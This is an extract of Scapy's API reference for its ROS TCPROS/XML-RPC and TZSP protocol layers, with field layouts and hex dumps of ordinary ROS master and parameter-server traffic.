0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|header.|  len1 |                    element1                   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |  len2 |                                       |
+-+-+-+-+-+-+-+-+-+-+-+-+                                       +
|                            element2                           |
+                       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                       |  ...  |                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                              ...                              +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+






	Generated with::
	
	protocol “header_length:4,len1:4,element1:32,len2:4,
	element2:64,…:4,…:80” –bits 32









Typical header looks like:

7C 00 00 00 12 00 00 00 63 61 6C 6C 65 72 69 64  |.......callerid
3D 2F 6C 69 73 74 65 6E 65 72 27 00 00 00 6D 64  =/listener'...md
35 73 75 6D 3D 39 39 32 63 65 38 61 31 36 38 37  5sum=992ce8a1687
63 65 63 38 63 38 62 64 38 38 33 65 63 37 33 63  cec8c8bd883ec73c
61 34 31 64 31 0D 00 00 00 74 63 70 5F 6E 6F 64  a41d1....tcp_nod
65 6C 61 79 3D 30 0E 00 00 00 74 6F 70 69 63 3D  elay=0....topic=
2F 63 68 61 74 74 65 72 14 00 00 00 74 79 70 65  /chatter....type
3D 73 74 64 5F 6D 73 67 73 2F 53 74 72 69 6E 67  =std_msgs/String






	
aliastypes

	




	
comment: bytes | None

	




	
default_fields: Dict[str, Any]

	




	
direction: int | None

	




	
do_dissect_payload(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/tcpros.py#L228-L229]

	




	
explicit

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/tcpros.py#L231-L232]

	




	
fields: Dict[str, Any]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         HEADER LENGTH                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              LIST             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. TCPROSHeader                         


TCPROSHeader fields






	header_length

	FieldLenField

	None



	list

	PacketListField

	[]











	
fieldtype: Dict[str, AnyField]

	




	
name

	




	
nfields

	




	
original

	




	
overload_fields: Dict[Type[Packet], Dict[str, Any]]

	




	
overloaded_fields: Dict[str, Any]

	




	
packetfields: List[AnyField]

	




	
parent

	




	
payload: Packet

	




	
post_transforms

	




	
pre_dissect(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/tcpros.py#L204-L226]

	Called to prepare the layer before dissection






	
raw_packet_cache: bytes | None

	




	
raw_packet_cache_fields: Dict[str, Any] | None

	




	
sent_time: EDecimal | float | None

	




	
sniffed_on: _GlobInterfaceType | None

	




	
stop_dissection_after

	




	
time: EDecimal | float

	




	
underlayer

	




	
wirelen: int | None

	








	
class scapy.contrib.tcpros.XMLRPC(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/tcpros.py#L383-L517]

	Bases: Packet

XML-RPC is a remote procedure call (RPC) protocol which uses XML to encode
its calls and HTTP as a transport mechanism.


	ROS uses XML-RPC for a variety of interactions including:
	
	Register/unregister subscribers and publishers


	Set or get parameters


	Updates in the ROS computational graph, across endpoints


	Request of transports, between endpoints








This class aims to abstract all these interactions while building on top
of the Master and Parameter APIs of ROS (the Slave API is abstracted in
the ROSTCP class).

An example package of a publisher initiating communication is presented
below wherein this particular package requests the Master’s PID
(HTTP Request):

0000  02 42 0C 00 00 02 02 42 0C 00 00 04 08 00 45 00  .B.....B......E.
0010  01 7C 4F F8 40 00 40 06 D1 7E 0C 00 00 04 0C 00  .|O.@.@..~......
0020  00 02 8E 62 2C 2F C7 A9 92 A9 87 00 82 4C 80 18  ...b,/.......L..
0030  01 FD 19 74 00 00 01 01 08 0A BB 36 D2 1A 39 82  ...t.......6..9.
0040  4B 7A 50 4F 53 54 20 2F 52 50 43 32 20 48 54 54  KzPOST /RPC2 HTT
0050  50 2F 31 2E 31 0D 0A 48 6F 73 74 3A 20 31 32 2E  P/1.1..Host: 12.
0060  30 2E 30 2E 32 3A 31 31 33 31 31 0D 0A 41 63 63  0.0.2:11311..Acc
0070  65 70 74 2D 45 6E 63 6F 64 69 6E 67 3A 20 67 7A  ept-Encoding: gz
0080  69 70 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20  ip..User-Agent:
0090  78 6D 6C 72 70 63 6C 69 62 2E 70 79 2F 31 2E 30  xmlrpclib.py/1.0
00a0  2E 31 20 28 62 79 20 77 77 77 2E 70 79 74 68 6F  .1 (by www.pytho
00b0  6E 77 61 72 65 2E 63 6F 6D 29 0D 0A 43 6F 6E 74  nware.com)..Cont
00c0  65 6E 74 2D 54 79 70 65 3A 20 74 65 78 74 2F 78  ent-Type: text/x
00d0  6D 6C 0D 0A 43 6F 6E 74 65 6E 74 2D 4C 65 6E 67  ml..Content-Leng
00e0  74 68 3A 20 31 35 39 0D 0A 0D 0A 3C 3F 78 6D 6C  th: 159....<?xml
00f0  20 76 65 72 73 69 6F 6E 3D 27 31 2E 30 27 3F 3E   version='1.0'?>
0100  0A 3C 6D 65 74 68 6F 64 43 61 6C 6C 3E 0A 3C 6D  .<methodCall>.<m
0110  65 74 68 6F 64 4E 61 6D 65 3E 67 65 74 50 69 64  ethodName>getPid
0120  3C 2F 6D 65 74 68 6F 64 4E 61 6D 65 3E 0A 3C 70  </methodName>.<p
0130  61 72 61 6D 73 3E 0A 3C 70 61 72 61 6D 3E 0A 3C  arams>.<param>.<
0140  76 61 6C 75 65 3E 3C 73 74 72 69 6E 67 3E 2F 72  value><string>/r
0150  6F 73 74 6F 70 69 63 3C 2F 73 74 72 69 6E 67 3E  ostopic</string>
0160  3C 2F 76 61 6C 75 65 3E 0A 3C 2F 70 61 72 61 6D  </value>.</param
0170  3E 0A 3C 2F 70 61 72 61 6D 73 3E 0A 3C 2F 6D 65  >.</params>.</me
0180  74 68 6F 64 43 61 6C 6C 3E 0A                    thodCall>.





The counterpart (the Master) answers with (HTTP Response):

0000  02 42 0C 00 00 04 02 42 0C 00 00 02 08 00 45 00  .B.....B......E.
0010  01 A2 8C CD 40 00 40 06 94 83 0C 00 00 02 0C 00  ....@.@.........
0020  00 04 2C 2F 8E 62 87 00 82 4C C7 A9 93 F1 80 18  ..,/.b...L......
0030  01 F6 19 9A 00 00 01 01 08 0A 39 82 4B 7B BB 36  ..........9.K{.6
0040  D2 1A 48 54 54 50 2F 31 2E 31 20 32 30 30 20 4F  ..HTTP/1.1 200 O
0050  4B 0D 0A 53 65 72 76 65 72 3A 20 42 61 73 65 48  K..Server: BaseH
0060  54 54 50 2F 30 2E 33 20 50 79 74 68 6F 6E 2F 32  TTP/0.3 Python/2
0070  2E 37 2E 31 37 0D 0A 44 61 74 65 3A 20 53 75 6E  .7.17..Date: Sun
0080  2C 20 30 36 20 44 65 63 20 32 30 32 30 20 31 35  , 06 Dec 2020 15
0090  3A 31 37 3A 33 38 20 47 4D 54 0D 0A 43 6F 6E 74  :17:38 GMT..Cont
00a0  65 6E 74 2D 74 79 70 65 3A 20 74 65 78 74 2F 78  ent-type: text/x
00b0  6D 6C 0D 0A 43 6F 6E 74 65 6E 74 2D 6C 65 6E 67  ml..Content-leng
00c0  74 68 3A 20 32 32 39 0D 0A 0D 0A 3C 3F 78 6D 6C  th: 229....<?xml
00d0  20 76 65 72 73 69 6F 6E 3D 27 31 2E 30 27 3F 3E   version='1.0'?>
00e0  0A 3C 6D 65 74 68 6F 64 52 65 73 70 6F 6E 73 65  .<methodResponse
00f0  3E 0A 3C 70 61 72 61 6D 73 3E 0A 3C 70 61 72 61  >.<params>.<para
0100  6D 3E 0A 3C 76 61 6C 75 65 3E 3C 61 72 72 61 79  m>.<value><array
0110  3E 3C 64 61 74 61 3E 0A 3C 76 61 6C 75 65 3E 3C  ><data>.<value><
0120  69 6E 74 3E 31 3C 2F 69 6E 74 3E 3C 2F 76 61 6C  int>1</int></val
0130  75 65 3E 0A 3C 76 61 6C 75 65 3E 3C 73 74 72 69  ue>.<value><stri
0140  6E 67 3E 3C 2F 73 74 72 69 6E 67 3E 3C 2F 76 61  ng></string></va
0150  6C 75 65 3E 0A 3C 76 61 6C 75 65 3E 3C 69 6E 74  lue>.<value><int
0160  3E 33 39 38 3C 2F 69 6E 74 3E 3C 2F 76 61 6C 75  >398</int></value
0170  65 3E 0A 3C 2F 64 61 74 61 3E 3C 2F 61 72 72 61  e>.</data></arra
0180  79 3E 3C 2F 76 61 6C 75 65 3E 0A 3C 2F 70 61 72  y></value>.</par
0190  61 6D 3E 0A 3C 2F 70 61 72 61 6D 73 3E 0A 3C 2F  am>.</params>.</
01a0  6D 65 74 68 6F 64 52 65 73 70 6F 6E 73 65 3E 0A  methodResponse>.





In another communication, and endpoint could request a parameter using the
Parameter Server API (HTTP Request):

0000  02 42 0C 00 00 02 02 42 0C 00 00 04 08 00 45 00  .B.....B......E.
0010  01 C0 8B 72 40 00 40 06 95 C0 0C 00 00 04 0C 00  ...r@.@.........
0020  00 02 90 10 2C 2F 9D 09 47 7F EC C3 08 BD 80 18  ....,/..G.......
0030  01 FD 19 B8 00 00 01 01 08 0A BB 86 68 91 39 D1  ............h.9.
0040  E1 F1 50 4F 53 54 20 2F 52 50 43 32 20 48 54 54  ..POST /RPC2 HTT
0050  50 2F 31 2E 31 0D 0A 48 6F 73 74 3A 20 31 32 2E  P/1.1..Host: 12.
0060  30 2E 30 2E 32 3A 31 31 33 31 31 0D 0A 41 63 63  0.0.2:11311..Acc
0070  65 70 74 2D 45 6E 63 6F 64 69 6E 67 3A 20 67 7A  ept-Encoding: gz
0080  69 70 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20  ip..User-Agent:
0090  78 6D 6C 72 70 63 6C 69 62 2E 70 79 2F 31 2E 30  xmlrpclib.py/1.0
00a0  2E 31 20 28 62 79 20 77 77 77 2E 70 79 74 68 6F  .1 (by www.pytho
00b0  6E 77 61 72 65 2E 63 6F 6D 29 0D 0A 43 6F 6E 74  nware.com)..Cont
00c0  65 6E 74 2D 54 79 70 65 3A 20 74 65 78 74 2F 78  ent-Type: text/x
00d0  6D 6C 0D 0A 43 6F 6E 74 65 6E 74 2D 4C 65 6E 67  ml..Content-Leng
00e0  74 68 3A 20 32 32 37 0D 0A 0D 0A 3C 3F 78 6D 6C  th: 227....<?xml
00f0  20 76 65 72 73 69 6F 6E 3D 27 31 2E 30 27 3F 3E   version='1.0'?>
0100  0A 3C 6D 65 74 68 6F 64 43 61 6C 6C 3E 0A 3C 6D  .<methodCall>.<m
0110  65 74 68 6F 64 4E 61 6D 65 3E 67 65 74 50 61 72  ethodName>getPar
0120  61 6D 3C 2F 6D 65 74 68 6F 64 4E 61 6D 65 3E 0A  am</methodName>.
0130  3C 70 61 72 61 6D 73 3E 0A 3C 70 61 72 61 6D 3E  <params>.<param>
0140  0A 3C 76 61 6C 75 65 3E 3C 73 74 72 69 6E 67 3E  .<value><string>
0150  2F 72 6F 73 70 61 72 61 6D 2D 38 32 30 34 33 3C  /rosparam-82043<
0160  2F 73 74 72 69 6E 67 3E 3C 2F 76 61 6C 75 65 3E  /string></value>
0170  0A 3C 2F 70 61 72 61 6D 3E 0A 3C 70 61 72 61 6D  .</param>.<param
0180  3E 0A 3C 76 61 6C 75 65 3E 3C 73 74 72 69 6E 67  >.<value><string
0190  3E 2F 72 6F 73 64 69 73 74 72 6F 3C 2F 73 74 72  >/rosdistro</str
01a0  69 6E 67 3E 3C 2F 76 61 6C 75 65 3E 0A 3C 2F 70  ing></value>.</p
01b0  61 72 61 6D 3E 0A 3C 2F 70 61 72 61 6D 73 3E 0A  aram>.</params>.
01c0  3C 2F 6D 65 74 68 6F 64 43 61 6C 6C 3E 0A        </methodCall>.






	Sources:
	
	
	https://aliasrobotics.com/files/
	securing_robot_endpoints_ot_environment.pdf







	http://wiki.ros.org/ROS/Master_API


	http://wiki.ros.org/ROS/Slave_API


	http://wiki.ros.org/ROS/Parameter%20Server%20API









	
aliastypes

	




	
guess_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/tcpros.py#L503-L517]

	








	
class scapy.contrib.tcpros.XMLRPCCall(_pkt, /, *, version=b"<?xml version='1.0'?>\n", methodcall_opentag=b'<methodCall>\n', methodname_opentag=b'<methodName>', methodname=b'getParam', methodname_closetag=b'</methodName>\n', params_opentag=b'<params>\n', params=b'<param>\n<value><string>/rosparam-82043</string></value>\n</param>\n', params_closetag=b'</params>\n', methodcall_closetag=b'</methodCall>\n')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/tcpros.py#L532-L630]

	Bases: Packet

Request side of the ROS XMLPC elements used by Master and Parameter APIs
Exemplary package:

0000  02 42 0C 00 00 02 02 42 0C 00 00 04 08 00 45 00  .B.....B......E.
0010  01 C0 8B 72 40 00 40 06 95 C0 0C 00 00 04 0C 00  ...r@.@.........
0020  00 02 90 10 2C 2F 9D 09 47 7F EC C3 08 BD 80 18  ....,/..G.......
0030  01 FD 19 B8 00 00 01 01 08 0A BB 86 68 91 39 D1  ............h.9.
0040  E1 F1 50 4F 53 54 20 2F 52 50 43 32 20 48 54 54  ..POST /RPC2 HTT
0050  50 2F 31 2E 31 0D 0A 48 6F 73 74 3A 20 31 32 2E  P/1.1..Host: 12.
0060  30 2E 30 2E 32 3A 31 31 33 31 31 0D 0A 41 63 63  0.0.2:11311..Acc
0070  65 70 74 2D 45 6E 63 6F 64 69 6E 67 3A 20 67 7A  ept-Encoding: gz
0080  69 70 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20  ip..User-Agent:
0090  78 6D 6C 72 70 63 6C 69 62 2E 70 79 2F 31 2E 30  xmlrpclib.py/1.0
00a0  2E 31 20 28 62 79 20 77 77 77 2E 70 79 74 68 6F  .1 (by www.pytho
00b0  6E 77 61 72 65 2E 63 6F 6D 29 0D 0A 43 6F 6E 74  nware.com)..Cont
00c0  65 6E 74 2D 54 79 70 65 3A 20 74 65 78 74 2F 78  ent-Type: text/x
00d0  6D 6C 0D 0A 43 6F 6E 74 65 6E 74 2D 4C 65 6E 67  ml..Content-Leng
00e0  74 68 3A 20 32 32 37 0D 0A 0D 0A 3C 3F 78 6D 6C  th: 227....<?xml
00f0  20 76 65 72 73 69 6F 6E 3D 27 31 2E 30 27 3F 3E   version='1.0'?>
0100  0A 3C 6D 65 74 68 6F 64 43 61 6C 6C 3E 0A 3C 6D  .<methodCall>.<m
0110  65 74 68 6F 64 4E 61 6D 65 3E 67 65 74 50 61 72  ethodName>getPar
0120  61 6D 3C 2F 6D 65 74 68 6F 64 4E 61 6D 65 3E 0A  am</methodName>.
0130  3C 70 61 72 61 6D 73 3E 0A 3C 70 61 72 61 6D 3E  <params>.<param>
0140  0A 3C 76 61 6C 75 65 3E 3C 73 74 72 69 6E 67 3E  .<value><string>
0150  2F 72 6F 73 70 61 72 61 6D 2D 38 32 30 34 33 3C  /rosparam-82043<
0160  2F 73 74 72 69 6E 67 3E 3C 2F 76 61 6C 75 65 3E  /string></value>
0170  0A 3C 2F 70 61 72 61 6D 3E 0A 3C 70 61 72 61 6D  .</param>.<param
0180  3E 0A 3C 76 61 6C 75 65 3E 3C 73 74 72 69 6E 67  >.<value><string
0190  3E 2F 72 6F 73 64 69 73 74 72 6F 3C 2F 73 74 72  >/rosdistro</str
01a0  69 6E 67 3E 3C 2F 76 61 6C 75 65 3E 0A 3C 2F 70  ing></value>.</p
01b0  61 72 61 6D 3E 0A 3C 2F 70 61 72 61 6D 73 3E 0A  aram>.</params>.
01c0  3C 2F 6D 65 74 68 6F 64 43 61 6C 6C 3E 0A        </methodCall>.






	
aliastypes

	




	
comment: bytes | None

	




	
default_fields: Dict[str, Any]

	




	
direction: int | None

	




	
do_dissect_payload(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/tcpros.py#L629-L630]

	




	
explicit

	




	
fields: Dict[str, Any]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            VERSION                            |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |       METHODCALL OPENTAG      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                                                               +
|                                                               |
+                                               +-+-+-+-+-+-+-+-+
|                                               |METHODNAME OPEN|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+               +
|                                                               |
+                                                               +
|                                                               |
+                                               +-+-+-+-+-+-+-+-+
|                                               |   METHODNAME  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |              METHODNAME CLOSETAG              |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+                                                               +
|                                                               |
+                                               +-+-+-+-+-+-+-+-+
|                                               | PARAMS OPENTAG|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             PARAMS            |        PARAMS CLOSETAG        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                      METHODCALL CLOSETAG                      |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. XMLRPCCall                          


XMLRPCCall fields






	version

	StrFixedLenField

	b"<?xml version='1.0'?>\n"



	methodcall_opentag

	StrFixedLenField

	b'<methodCall>\n'



	methodname_opentag

	StrFixedLenField

	b'<methodName>'



	methodname

	StrLenField

	b'getParam'



	methodname_closetag

	StrFixedLenField

	b'</methodName>\n'



	params_opentag

	StrFixedLenField

	b'<params>\n'



	params

	StrLenField

	b'<param>\n<value><string>/rosparam-82043</string></value>\n</param>\n'



	params_closetag

	StrFixedLenField

	b'</params>\n'



	methodcall_closetag

	StrFixedLenField

	b'</methodCall>\n'











	
fieldtype: Dict[str, AnyField]

	




	
methodname_size

	




	
name

	




	
original

	




	
overload_fields: Dict[Type[Packet], Dict[str, Any]]

	




	
overloaded_fields: Dict[str, Any]

	




	
packetfields: List[AnyField]

	




	
params_size

	




	
parent

	




	
payload: Packet

	




	
post_transforms

	




	
pre_dissect(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/tcpros.py#L599-L627]

	
	Calculate the sizes of:
	
	methodname


	params






	See https://docs.python.org/3/library/struct.html
	for the unpack (e.g. “<I”) options










	
raw_packet_cache: bytes | None

	




	
raw_packet_cache_fields: Dict[str, Any] | None

	




	
sent_time: EDecimal | float | None

	




	
sniffed_on: _GlobInterfaceType | None

	




	
stop_dissection_after

	




	
time: EDecimal | float

	




	
underlayer

	




	
wirelen: int | None

	








	
class scapy.contrib.tcpros.XMLRPCResponse(_pkt, /, *, version=b"<?xml version='1.0'?>\n", methodcall_opentag=b'<methodResponse>\n', params_opentag=b'<params>\n', params=b'', params_closetag=b'</params>\n', methodcall_closetag=b'</methodResponse>\n')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/tcpros.py#L633-L714]

	Bases: Packet

Response side of the ROS XMLPC elements used by Master and Parameter APIs
Exemplary package:

0000  02 42 0C 00 00 04 02 42 0C 00 00 02 08 00 45 00  .B.....B......E.
0010  01 A2 8C CD 40 00 40 06 94 83 0C 00 00 02 0C 00  ....@.@.........
0020  00 04 2C 2F 8E 62 87 00 82 4C C7 A9 93 F1 80 18  ..,/.b...L......
0030  01 F6 19 9A 00 00 01 01 08 0A 39 82 4B 7B BB 36  ..........9.K{.6
0040  D2 1A 48 54 54 50 2F 31 2E 31 20 32 30 30 20 4F  ..HTTP/1.1 200 O
0050  4B 0D 0A 53 65 72 76 65 72 3A 20 42 61 73 65 48  K..Server: BaseH
0060  54 54 50 2F 30 2E 33 20 50 79 74 68 6F 6E 2F 32  TTP/0.3 Python/2
0070  2E 37 2E 31 37 0D 0A 44 61 74 65 3A 20 53 75 6E  .7.17..Date: Sun
0080  2C 20 30 36 20 44 65 63 20 32 30 32 30 20 31 35  , 06 Dec 2020 15
0090  3A 31 37 3A 33 38 20 47 4D 54 0D 0A 43 6F 6E 74  :17:38 GMT..Cont
00a0  65 6E 74 2D 74 79 70 65 3A 20 74 65 78 74 2F 78  ent-type: text/x
00b0  6D 6C 0D 0A 43 6F 6E 74 65 6E 74 2D 6C 65 6E 67  ml..Content-leng
00c0  74 68 3A 20 32 32 39 0D 0A 0D 0A 3C 3F 78 6D 6C  th: 229....<?xml
00d0  20 76 65 72 73 69 6F 6E 3D 27 31 2E 30 27 3F 3E   version='1.0'?>
00e0  0A 3C 6D 65 74 68 6F 64 52 65 73 70 6F 6E 73 65  .<methodResponse
00f0  3E 0A 3C 70 61 72 61 6D 73 3E 0A 3C 70 61 72 61  >.<params>.<para
0100  6D 3E 0A 3C 76 61 6C 75 65 3E 3C 61 72 72 61 79  m>.<value><array
0110  3E 3C 64 61 74 61 3E 0A 3C 76 61 6C 75 65 3E 3C  ><data>.<value><
0120  69 6E 74 3E 31 3C 2F 69 6E 74 3E 3C 2F 76 61 6C  int>1</int></val
0130  75 65 3E 0A 3C 76 61 6C 75 65 3E 3C 73 74 72 69  ue>.<value><stri
0140  6E 67 3E 3C 2F 73 74 72 69 6E 67 3E 3C 2F 76 61  ng></string></va
0150  6C 75 65 3E 0A 3C 76 61 6C 75 65 3E 3C 69 6E 74  lue>.<value><int
0160  3E 33 39 38 3C 2F 69 6E 74 3E 3C 2F 76 61 6C 75  >398</int></value
0170  65 3E 0A 3C 2F 64 61 74 61 3E 3C 2F 61 72 72 61  e>.</data></arra
0180  79 3E 3C 2F 76 61 6C 75 65 3E 0A 3C 2F 70 61 72  y></value>.</par
0190  61 6D 3E 0A 3C 2F 70 61 72 61 6D 73 3E 0A 3C 2F  am>.</params>.</
01a0  6D 65 74 68 6F 64 52 65 73 70 6F 6E 73 65 3E 0A  methodResponse>.






	
aliastypes

	




	
comment: bytes | None

	




	
default_fields: Dict[str, Any]

	




	
direction: int | None

	




	
do_dissect_payload(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/tcpros.py#L713-L714]

	




	
explicit

	




	
fields: Dict[str, Any]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            VERSION                            |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |       METHODCALL OPENTAG      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                               +-+-+-+-+-+-+-+-+
|                                               | PARAMS OPENTAG|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             PARAMS            |        PARAMS CLOSETAG        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                      METHODCALL CLOSETAG                      |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. XMLRPCResponse                        


XMLRPCResponse fields






	version

	StrFixedLenField

	b"<?xml version='1.0'?>\n"



	methodcall_opentag

	StrFixedLenField

	b'<methodResponse>\n'



	params_opentag

	StrFixedLenField

	b'<params>\n'



	params

	StrLenField

	b''



	params_closetag

	StrFixedLenField

	b'</params>\n'



	methodcall_closetag

	StrFixedLenField

	b'</methodResponse>\n'











	
fieldtype: Dict[str, AnyField]

	




	
name

	




	
original

	




	
overload_fields: Dict[Type[Packet], Dict[str, Any]]

	




	
overloaded_fields: Dict[str, Any]

	




	
packetfields: List[AnyField]

	




	
params_size

	




	
parent

	




	
payload: Packet

	




	
post_transforms

	




	
pre_dissect(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/tcpros.py#L691-L711]

	
	Calculate the sizes of:
	
	methodname


	params






	See https://docs.python.org/3/library/struct.html
	for the unpack (e.g. “<I”) options










	
raw_packet_cache: bytes | None

	




	
raw_packet_cache_fields: Dict[str, Any] | None

	




	
sent_time: EDecimal | float | None

	




	
sniffed_on: _GlobInterfaceType | None

	




	
stop_dissection_after

	




	
time: EDecimal | float

	




	
underlayer

	




	
wirelen: int | None

	








	
class scapy.contrib.tcpros.XMLRPCSeparator(name, default='0x0a')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/tcpros.py#L521-L528]

	Bases: ByteField

Separator of XML-RPC components - 0x0a








            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.tzsp


TZSP - TaZmen Sniffer Protocol


	author:

	Thomas Tannhaeuser, hecke@naberius.de



	description:

	This module provides Scapy layers for the TZSP protocol.


	references:
	
	https://en.wikipedia.org/wiki/TZSP


	https://web.archive.org/web/20050404125022/http://www.networkchemistry.com/support/appnotes/an001_tzsp.html  # noqa: E501










	NOTES:

	
	to allow Scapy to dissect this layer automatically, you need to bind the TZSP layer to UDP using  # noqa: E501
the default TZSP port (0x9090), e.g.


bind_layers(UDP, TZSP, sport=TZSP_PORT_DEFAULT)
bind_layers(UDP, TZSP, dport=TZSP_PORT_DEFAULT)






	packet format definition from www.networkchemistry.com is different from the one given by wikipedia  # noqa: E501


	seems Wireshark implements the wikipedia protocol version (didn’t dive into their code)  # noqa: E501


	observed (miss)behavior of Wireshark (2.2.6)
- fails to decode RSSI & SNR using short values - only one byte taken
- SNR is labeled as silence
- WlanRadioHdrSerial is labeled as Sensor MAC
- doesn’t know the packet count tag (40 / 0x28)










	
class scapy.contrib.tzsp.TZSP(_pkt, /, *, version=1, type=0, encapsulated_protocol=1)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/tzsp.py#L51-L122]

	Bases: Packet


	
ENCAPSULATED_ETHERNET = 1

	




	
ENCAPSULATED_IEEE_802_11 = 18

	




	
ENCAPSULATED_PRISM_HEADER = 119

	




	
ENCAPSULATED_PROTOCOLS = {1: 'ETHERNET', 18: 'IEEE 802.11', 119: 'PRISM HEADER', 127: 'WLAN AVS'}

	




	
ENCAPSULATED_PROTOCOL_CLASSES = {1: <class 'scapy.layers.l2.Ether'>, 18: <class 'scapy.layers.dot11.Dot11'>, 119: <class 'scapy.layers.dot11.PrismHeader'>, 127: <class 'scapy.contrib.avs.AVSWLANHeader'>}

	




	
ENCAPSULATED_WLAN_AVS = 127

	




	
TYPES = {0: 'RX_PACKET', 1: 'TX_PACKET', 3: 'CONFIG', 4: 'KEEPALIVE/NULL', 5: 'PORT'}

	




	
TYPE_CONFIG = 3

	




	
TYPE_KEEPALIVE = 4

	




	
TYPE_NULL = 4

	




	
TYPE_PORT = 5

	




	
TYPE_RX_PACKET = 0

	




	
TYPE_TX_PACKET = 1

	




	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |     ENCAPSULATED PROTOCOL     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                            Fig. TZSP                             


TZSP fields






	version

	ByteField

	1



	type

	ByteEnumField

	0



	encapsulated_protocol

	ShortEnumField

	1











	
get_encapsulated_payload()[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/tzsp.py#L113-L122]

	




	
